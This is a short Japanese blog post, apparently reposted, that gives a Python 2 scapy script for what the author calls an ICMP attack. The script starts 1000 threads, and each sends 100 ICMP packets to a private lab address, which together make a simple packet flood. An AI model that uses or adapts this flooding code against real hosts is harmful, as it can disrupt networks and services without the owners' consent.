(Python)scapy-マルチスレッドicmpパケット送信

3900 ワード

ICmp攻撃をするときは、まずPythonでパケットを送信する関数を書きました.
パケットを送信するにはscapyモジュールを使用します.まずインストールする必要があります:apt-get install python-scapy
'''
date:2014/12/3
author:yss
function:send packets from host to server with multithreading
'''
import threading
from time import sleep,ctime
from scapy.all import *

num=1000#the number of the thread
class MyThread(threading.Thread):
    def __init__(self,func,args,name=''):
        threading.Thread.__init__(self)
        self.name=name
        self.func=func
        self.args=args

    def run(self):
        apply(self.func,self.args)


def send_packet():
    send(IP(dst='192.168.85.132',ttl=(1,100))/ICMP())#each thread send 100 packets

def main():
    print 'starting at:',ctime()
    threads=[]        #deposit thresds
    #nloops=range(len(loops))

    for i in range(num):    #create an instance of an object
        t=MyThread(send_packet,(),send_packet.__name__)
        threads.append(t)

    for i in range(num):    #start threads
        threads[i].start()

    for i in range(num):    #wait for all
        threads[i].join()#threads to finish

    print 'all done at:',ctime()

if __name__ == '__main__':
    main()

 
転載先:https://www.cnblogs.com/myblog-lyc/p/4176609.html